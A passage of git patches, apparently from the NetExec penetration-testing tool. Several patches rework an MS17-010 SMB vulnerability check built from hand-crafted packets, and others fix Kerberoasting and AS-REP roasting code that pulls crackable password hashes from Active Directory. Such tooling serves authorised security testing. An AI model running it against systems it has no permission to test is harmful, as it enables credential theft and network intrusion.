LANMAN1.0 + b"\x02", # Requested Dialects Count + b"\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00", # Requested Dialects: LM1.2X002 + b"\x02", # Requested Dialects Count + b"\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00", # Requested Dialects: NT LANMAN 1.0 + b"\x02", # Requested Dialects Count + b"\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00", # Requested Dialects: NT LM 0.12 + ] + + # Return the generated SMB protocol payload + return self.generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request) + + + def session_setup_andx_request(self): + """Generate session setup andx request.""" + self.logger.debug("generate session setup andx request" + ) + # Define the NetBIOS bytes + netbios = [ + b"\x00", # length + b"\x00\x00\x63", # session service + ] + + # Define the SMB header bytes + smb_header = [ + b"\xFF\x53\x4D\x42", # server component: .SMB + b"\x73", # command: Session Setup AndX + b"\x00\x00\x00\x00", # NT status + b"\x18", # flags + b"\x01\x20", # flags2 + b"\x00\x00", # PID high + b"\x00\x00\x00\x00\x00\x00\x00\x00", # signature + b"\x00\x00", # reserved + b"\x00\x00", # tree id + b"\x2F\x4B", # pid + b"\x00\x00", # uid + b"\xC5\x5E", # multiplex id + ] + + # Define the session setup andx request bytes + session_setup_andx_request = [ + b"\x0D", # word count + b"\xFF", # andx command: no further commands + b"\x00", # reserved + b"\x00\x00", # andx offset + b"\xDF\xFF", # max buffer + b"\x02\x00", # max mpx count + b"\x01\x00", # VC number + b"\x00\x00\x00\x00", # session key + b"\x00\x00", # ANSI password length + b"\x00\x00", # Unicode password length + b"\x00\x00\x00\x00", # reserved + b"\x40\x00\x00\x00", # capabilities + b"\x26\x00", # byte count + b"\x00", # account + b"\x2e\x00", # primary domain + b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00", # Native OS: Windows 2000 2195 + b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00", # Native OS: Windows 2000 5.0 + ] + + return self.generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request) + + + def tree_connect_andx_request(self, ip, userid): + """Generate tree connect andx request. + + Args: + ---- + ip (str): The IP address. + userid (str): The user ID. + + Returns: + ------- + bytes: The generated tree connect andx request payload. + """ + self.logger.debug("generate tree connect andx request") + + # Initialize the netbios header + netbios = [ + b"\x00", # 'Message_Type' + b"\x00\x00\x47" # 'Length' + ] + + # Initialize the SMB header + smb_header = [ + b"\xFF\x53\x4D\x42", # server_compnent: .SMB + b"\x75", # smb_command: Tree Connect AndX + b"\x00\x00\x00\x00", # 'nt_status' + b"\x18", # 'flags' + b"\x01\x20", # 'flags2' + b"\x00\x00", # 'process_id_high' + b"\x00\x00\x00\x00\x00\x00\x00\x00", # 'signature' + b"\x00\x00", # 'reserved' + b"\x00\x00", # 'tree_id' + b"\x2F\x4B", # 'process_id' + userid, # 'user_id' + b"\xC5\x5E", # 'multiplex_id' + ] + + # Create the IPC string + ipc = f"\\\\{ip}\IPC$\x00" + self.logger.debug(f"Connecting to {ip} with UID: {userid.hex()}") + + # Initialize the tree connect andx request + tree_connect_andx_request = [ + b"\x04", # Word Count + b"\xFF", # AndXCommand: No further commands + b"\x00", # Reserved + b"\x00\x00", # AndXOffset + b"\x00\x00", # Flags + b"\x01\x00", # Password Length + b"\x1A\x00", # Byte Count + b"\x00", # Password + ipc.encode(), # \\xxx.xxx.xxx.xxx\IPC$ + b"\x3f\x3f\x3f\x3f\x3f\x00", # Service + ] + + # Calculate the length of the payload + length = len(b"".join(smb_header)) + len(b"".join(tree_connect_andx_request)) + self.logger.debug(f"Length of payload: {length}") + + # Update the length in the netbios header + netbios[1] = struct.pack(">L", length)[-3:] + + self.logger.debug(f"Netbios: {netbios}") + self.logger.debug(f"SMB Header: {smb_header}") + self.logger.debug(f"Tree Connect AndX Request: {tree_connect_andx_request}") + + # Generate the final SMB protocol payload + return self.generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request) + + + def peeknamedpipe_request(self, treeid, processid, userid, multiplex_id): + """ + Generate tran2 request. + + Args: + ---- + treeid (str): The tree ID. + processid (str): The process ID. + userid (str): The user ID. + multiplex_id (str): The multiplex ID. + + Returns: + ------- + str: The generated SMB protocol payload. + """ + self.logger.debug("generate peeknamedpipe request") + + # Set the necessary values for the netbios header + netbios = [ + b"\x00", # message type + b"\x00\x00\x4a" # length + ] + + # Set the values for the SMB header + smb_header = [ + b"\xFF\x53\x4D\x42", # Server Component: .SMB + b"\x25", # SMB Command: Trans2 + b"\x00\x00\x00\x00", # NT Status + b"\x18", # flags + b"\x01\x28", # flags2 + b"\x00\x00", # pid high + b"\x00\x00\x00\x00\x00\x00\x00\x00", # sig + b"\x00\x00", # Reserved + treeid, # Tree ID + processid, # Process ID + userid, # User ID + multiplex_id, # Multiplex ID + ] + + # Set the values for the transaction request + tran_request = [ + b"\x10", # Word Count + b"\x00\x00", # Total Parameter Count + b"\x00\x00", # Total Data Count + b"\xff\xff", # Max Parameter Count + b"\xff\xff", # Max Data Count + b"\x00", # Max Setup Count + b"\x00", # Reserved + b"\x00\x00", # Flags + b"\x00\x00\x00\x00", # Timeout + b"\x00\x00", # Reserved + b"\x00\x00", # Parameter Count + b"\x4a\x00", # Parameter Offset + b"\x00\x00", # Data Count + b"\x4a\x00", # Data Offset + b"\x02", # Setup Count + b"\x00", # Reserved + b"\x23\x00", # SMB Pipe Protocol: Function: PeekNamedPipe (0x0023) + b"\x00\x00", # SMB Pipe Protocol: FID + b"\x07\x00", + b"\x5c\x50\x49\x50\x45\x5c\x00", # \PIPE\ + ] + + return self.generate_smb_proto_payload(netbios, smb_header, tran_request) + + + def trans2_request(self, treeid, processid, userid, multiplex_id): + """Generate trans2 request. + + Args: + ---- + treeid: The treeid parameter. + processid: The processid parameter. + userid: The userid parameter. + multiplex_id: The multiplex_id parameter. + + Returns: + ------- + The generated SMB protocol payload. + """ + self.logger.debug("generate trans2 request") + + # Define the netbios section of the SMB request + netbios = [ + b"\x00", + b"\x00\x00\x4f" + ] + + # Define the SMB header section of the SMB request + smb_header = [ + b"\xFF\x53\x4D\x42", # 'server_component': .SMB + b"\x32", # 'smb_command': Trans2 + b"\x00\x00\x00\x00", + b"\x18", + b"\x07\xc0", + b"\x00\x00", + b"\x00\x00\x00\x00\x00\x00\x00\x00", + b"\x00\x00", + treeid, + processid, + userid, + multiplex_id, + ] + + # Define the trans2 request section of the SMB request + trans2_request = [ + b"\x0f", + b"\x0c\x00", + b"\x00\x00", + b"\x01\x00", + b"\x00\x00", + b"\x00", + b"\x00", + b"\x00\x00", + b"\xa6\xd9\xa4\x00", # Timeout: 3 hours, 3.622 seconds + b"\x00\x00", + b"\x0c\x00", + b"\x42\x00", + b"\x00\x00", + b"\x4e\x00", + b"\x01", + b"\x00", + b"\x0e\x00", # subcommand: SESSION_SETUP + b"\x00\x00", + b"\x0c\x00" + b"\x00" * 12, + ] + + return self.generate_smb_proto_payload(netbios, smb_header, trans2_request) + + + def check(self, ip, port=445): + """Check if MS17_010 SMB Vulnerability exists. + + Args: + ---- + ip (str): The IP address of the target machine. + port (int, optional): The port number to connect to. Defaults to 445. + + Returns: + ------- + bool: True if the vulnerability exists, False otherwise. + """ + buffersize = 1024 + timeout = 5.0 + + # Send smb request based on socket. + client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + client.settimeout(timeout) + client.connect((ip, port)) + + # SMB - Negotiate Protocol Request + raw_proto = self.negotiate_proto_request() client.send(raw_proto) tcp_response = client.recv(buffersize) - netbios = tcp_response[:4] + # SMB - Session Setup AndX Request + raw_proto = self.session_setup_andx_request() + client.send(raw_proto) + tcp_response = client.recv(buffersize) + + tcp_response[:4] + smb_header = tcp_response[4:36] # SMB Header: 32 bytes + smb = SmbHeader(smb_header) + + user_id = struct.pack(" Date: Thu, 9 Nov 2023 12:05:20 -0500 Subject: [PATCH 4/8] kerberoasting/asreproasting: just take in -- command, does not require useless param anymore --- nxc/protocols/ldap/proto_args.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index b4b53e8e..0cc33abb 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -13,8 +13,8 @@ def proto_args(parser, std_parser, module_parser): no_smb_arg.make_required = [domain_arg] egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos") - egroup.add_argument("--asreproast", help="Get AS_REP response ready to crack with hashcat") - egroup.add_argument("--kerberoasting", help="Get TGS ticket ready to crack with hashcat") + egroup.add_argument("--asreproast", action="store_true", help="Get AS_REP response ready to crack with hashcat") + egroup.add_argument("--kerberoasting", action="store_true", help="Get TGS ticket ready to crack with hashcat") vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos") vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION") From f1388aa4291d6341f49331776e3074af29cb6358 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Thu, 9 Nov 2023 12:27:02 -0500 Subject: [PATCH 5/8] fix(kerberos): check if there is the KRB5CCNAME before referencing it --- nxc/protocols/ldap/kerberos.py | 32 +++++++++++++++++--------------- 1 file changed, 17 insertions(+), 15 deletions(-) diff --git a/nxc/protocols/ldap/kerberos.py b/nxc/protocols/ldap/kerberos.py index 371e5f38..441ebae4 100644 --- a/nxc/protocols/ldap/kerberos.py +++ b/nxc/protocols/ldap/kerberos.py @@ -104,21 +104,23 @@ class KerberosAttacks: return entry def get_tgt_kerberoasting(self): - try: - ccache = CCache.loadFile(getenv("KRB5CCNAME")) - # retrieve user and domain information from CCache file if needed - domain = ccache.principal.realm["data"] if self.domain == "" else self.domain - nxc_logger.debug(f"Using Kerberos Cache: {getenv('KRB5CCNAME')}") - principal = f"krbtgt/{domain.upper()}@{domain.upper()}" - creds = ccache.getCredential(principal) - if creds is not None: - tgt = creds.toTGT() - nxc_logger.debug("Using TGT from cache") - return tgt - else: - nxc_logger.debug("No valid credentials found in cache. ") - except Exception: - pass + if getenv("KRB5CCNAME"): + nxc_logger.debug("KRB5CCNAME environment variable exists, attempting to use that...") + try: + ccache = CCache.loadFile(getenv("KRB5CCNAME")) + # retrieve user and domain information from CCache file if needed + domain = ccache.principal.realm["data"] if self.domain == "" else self.domain + nxc_logger.debug(f"Using Kerberos Cache: {getenv('KRB5CCNAME')}") + principal = f"krbtgt/{domain.upper()}@{domain.upper()}" + creds = ccache.getCredential(principal) + if creds is not None: + tgt = creds.toTGT() + nxc_logger.debug("Using TGT from cache") + return tgt + else: + nxc_logger.debug("No valid credentials found in cache") + except Exception: + pass # No TGT in cache, request it user_name = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) From 26b9ecc48275df7fe9f5ffa9cae69065ee32cda8 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Thu, 9 Nov 2023 12:51:09 -0500 Subject: [PATCH 6/8] fix(kerberos): only use kcache if asked to via cml parameters; add additional debug and error handling --- nxc/protocols/ldap/kerberos.py | 46 ++++++++++++++++++++-------------- 1 file changed, 27 insertions(+), 19 deletions(-) diff --git a/nxc/protocols/ldap/kerberos.py b/nxc/protocols/ldap/kerberos.py index 441ebae4..100edaa0 100644 --- a/nxc/protocols/ldap/kerberos.py +++ b/nxc/protocols/ldap/kerberos.py @@ -104,23 +104,26 @@ class KerberosAttacks: return entry def get_tgt_kerberoasting(self): - if getenv("KRB5CCNAME"): - nxc_logger.debug("KRB5CCNAME environment variable exists, attempting to use that...") - try: - ccache = CCache.loadFile(getenv("KRB5CCNAME")) - # retrieve user and domain information from CCache file if needed - domain = ccache.principal.realm["data"] if self.domain == "" else self.domain - nxc_logger.debug(f"Using Kerberos Cache: {getenv('KRB5CCNAME')}") - principal = f"krbtgt/{domain.upper()}@{domain.upper()}" - creds = ccache.getCredential(principal) - if creds is not None: - tgt = creds.toTGT() - nxc_logger.debug("Using TGT from cache") - return tgt - else: - nxc_logger.debug("No valid credentials found in cache") - except Exception: - pass + if self.args.use_kcache: + if getenv("KRB5CCNAME"): + nxc_logger.debug("KRB5CCNAME environment variable exists, attempting to use that...") + try: + ccache = CCache.loadFile(getenv("KRB5CCNAME")) + # retrieve user and domain information from CCache file if needed + domain = ccache.principal.realm["data"] if self.domain == "" else self.domain + nxc_logger.debug(f"Using Kerberos Cache: {getenv('KRB5CCNAME')}") + principal = f"krbtgt/{domain.upper()}@{domain.upper()}" + creds = ccache.getCredential(principal) + if creds is not None: + tgt = creds.toTGT() + nxc_logger.debug("Using TGT from cache") + return tgt + else: + nxc_logger.debug("No valid credentials found in cache") + except Exception: + pass + else: + nxc_logger.fail("KRB5CCNAME environment variable not found, unable to use Kerberos Cache") # No TGT in cache, request it user_name = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) @@ -140,6 +143,12 @@ class KerberosAttacks: self.aesKey, kdcHost=self.kdcHost, ) + except OSError as e: + if e.errno == 113: + nxc_logger.fail(f"Unable to resolve KDC hostname: {e!s}") + else: + nxc_logger.fail(f"Some other OSError occured: {e!s}") + return None except Exception as e: nxc_logger.debug(f"TGT: {e!s}") tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( @@ -151,7 +160,6 @@ class KerberosAttacks: self.aesKey, kdcHost=self.kdcHost, ) - else: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( user_name, @@ -166,7 +174,7 @@ class KerberosAttacks: tgt["KDC_REP"] = tgt tgt["cipher"] = cipher tgt["session_key"] = sessionKey - + nxc_logger.debug(f"Final TGT: {tgt}") return tgt def get_tgt_asroast(self, userName, requestPAC=True): From 2c4be2ebe234fe09f26aa397bf4909ad3ee88d12 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Thu, 9 Nov 2023 13:37:49 -0500 Subject: [PATCH 7/8] fix(kerberoasting): fixed kerberoasting; added output-file option, removed unnecessary param for --kerberoasting; fixed kcache checking --- nxc/protocols/ldap.py | 74 ++++++++++++++++++-------------- nxc/protocols/ldap/kerberos.py | 16 +++---- nxc/protocols/ldap/proto_args.py | 1 + 3 files changed, 50 insertions(+), 41 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 6854c0be..5279c9bd 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -910,6 +910,9 @@ class ldap(connection): "lastLogon", ] resp = self.search(searchFilter, attributes, 0) + self.logger.debug(f"Search Filter: {searchFilter}") + self.logger.debug(f"Attributes: {attributes}") + self.logger.debug(f"Response: {resp}") if not resp: self.logger.highlight("No entries found!") elif resp: @@ -956,41 +959,46 @@ class ldap(connection): if len(answers) > 0: self.logger.display(f"Total of records returned {len(answers):d}") - TGT = KerberosAttacks(self).get_tgt_kerberoasting() - dejavue = [] - for (_SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, _delegation) in answers: - if sAMAccountName not in dejavue: - downLevelLogonName = self.targetDomain + "\\" + sAMAccountName + TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) + self.logger.debug(f"TGT: {TGT}") + if TGT: + dejavue = [] + for (_SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, _delegation) in answers: + if sAMAccountName not in dejavue: + downLevelLogonName = self.targetDomain + "\\" + sAMAccountName - try: - principalName = Principal() - principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value - principalName.components = [downLevelLogonName] + try: + principalName = Principal() + principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value + principalName.components = [downLevelLogonName] - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( - principalName, - self.domain, - self.kdcHost, - TGT["KDC_REP"], - TGT["cipher"], - TGT["session_key"], - ) - r = KerberosAttacks(self).output_tgs( - tgs, - oldSessionKey, - sessionKey, - sAMAccountName, - self.targetDomain + "/" + sAMAccountName, - ) - self.logger.highlight(f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}") - self.logger.highlight(f"{r}") - with open(self.args.kerberoasting, "a+") as hash_kerberoasting: - hash_kerberoasting.write(r + "\n") - dejavue.append(sAMAccountName) - except Exception as e: - self.logger.debug("Exception:", exc_info=True) - nxc_logger.error(f"Principal: {downLevelLogonName} - {e}") - return True + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( + principalName, + self.domain, + self.kdcHost, + TGT["KDC_REP"], + TGT["cipher"], + TGT["sessionKey"], + ) + r = KerberosAttacks(self).output_tgs( + tgs, + oldSessionKey, + sessionKey, + sAMAccountName, + self.targetDomain + "/" + sAMAccountName, + ) + self.logger.highlight(f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}") + self.logger.highlight(f"{r}") + if self.args.output_file: + with open(self.args.output_file, "a+") as hash_kerberoasting: + hash_kerberoasting.write(r + "\n") + dejavue.append(sAMAccountName) + except Exception as e: + self.logger.debug("Exception:", exc_info=True) + self.logger.fail(f"Principal: {downLevelLogonName} - {e}") + return True + else: + self.logger.fail(f"Error retrieving TGT for {self.username}\\{self.domain} from {self.kdcHost}") else: self.logger.highlight("No entries found!") self.logger.fail("Error with the LDAP account used") diff --git a/nxc/protocols/ldap/kerberos.py b/nxc/protocols/ldap/kerberos.py index 100edaa0..36d0bc02 100644 --- a/nxc/protocols/ldap/kerberos.py +++ b/nxc/protocols/ldap/kerberos.py @@ -103,8 +103,8 @@ class KerberosAttacks: return entry - def get_tgt_kerberoasting(self): - if self.args.use_kcache: + def get_tgt_kerberoasting(self, kcache=None): + if kcache: if getenv("KRB5CCNAME"): nxc_logger.debug("KRB5CCNAME environment variable exists, attempting to use that...") try: @@ -170,12 +170,12 @@ class KerberosAttacks: self.aesKey, kdcHost=self.kdcHost, ) - tgt = {} - tgt["KDC_REP"] = tgt - tgt["cipher"] = cipher - tgt["session_key"] = sessionKey - nxc_logger.debug(f"Final TGT: {tgt}") - return tgt + tgt_data = {} + tgt_data["KDC_REP"] = tgt + tgt_data["cipher"] = cipher + tgt_data["sessionKey"] = sessionKey + nxc_logger.debug(f"Final TGT: {tgt_data}") + return tgt_data def get_tgt_asroast(self, userName, requestPAC=True): client_name = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value) diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index 0cc33abb..5219cd35 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -15,6 +15,7 @@ def proto_args(parser, std_parser, module_parser): egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos") egroup.add_argument("--asreproast", action="store_true", help="Get AS_REP response ready to crack with hashcat") egroup.add_argument("--kerberoasting", action="store_true", help="Get TGS ticket ready to crack with hashcat") + egroup.add_argument("--output-file", metavar="FILE", dest="output_file", help="File to output hashes to (default: print to stdout)") vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos") vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION") From 3333bf9449498e65d9edf6462570b3e68e91b4e6 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Thu, 9 Nov 2023 14:00:49 -0500 Subject: [PATCH 8/8] revert(kerberoasting): go back to defining output file after --kerberoast and remove --output-file param --- nxc/protocols/ldap.py | 4 ++-- nxc/protocols/ldap/proto_args.py | 5 ++--- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 5279c9bd..ebc04e62 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -989,8 +989,8 @@ class ldap(connection): ) self.logger.highlight(f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}") self.logger.highlight(f"{r}") - if self.args.output_file: - with open(self.args.output_file, "a+") as hash_kerberoasting: + if self.args.kerberoasting: + with open(self.args.kerberoasting, "a+") as hash_kerberoasting: hash_kerberoasting.write(r + "\n") dejavue.append(sAMAccountName) except Exception as e: diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index 5219cd35..0feacec3 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -13,9 +13,8 @@ def proto_args(parser, std_parser, module_parser): no_smb_arg.make_required = [domain_arg] egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos") - egroup.add_argument("--asreproast", action="store_true", help="Get AS_REP response ready to crack with hashcat") - egroup.add_argument("--kerberoasting", action="store_true", help="Get TGS ticket ready to crack with hashcat") - egroup.add_argument("--output-file", metavar="FILE", dest="output_file", help="File to output hashes to (default: print to stdout)") + egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file") + egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file") vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos") vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")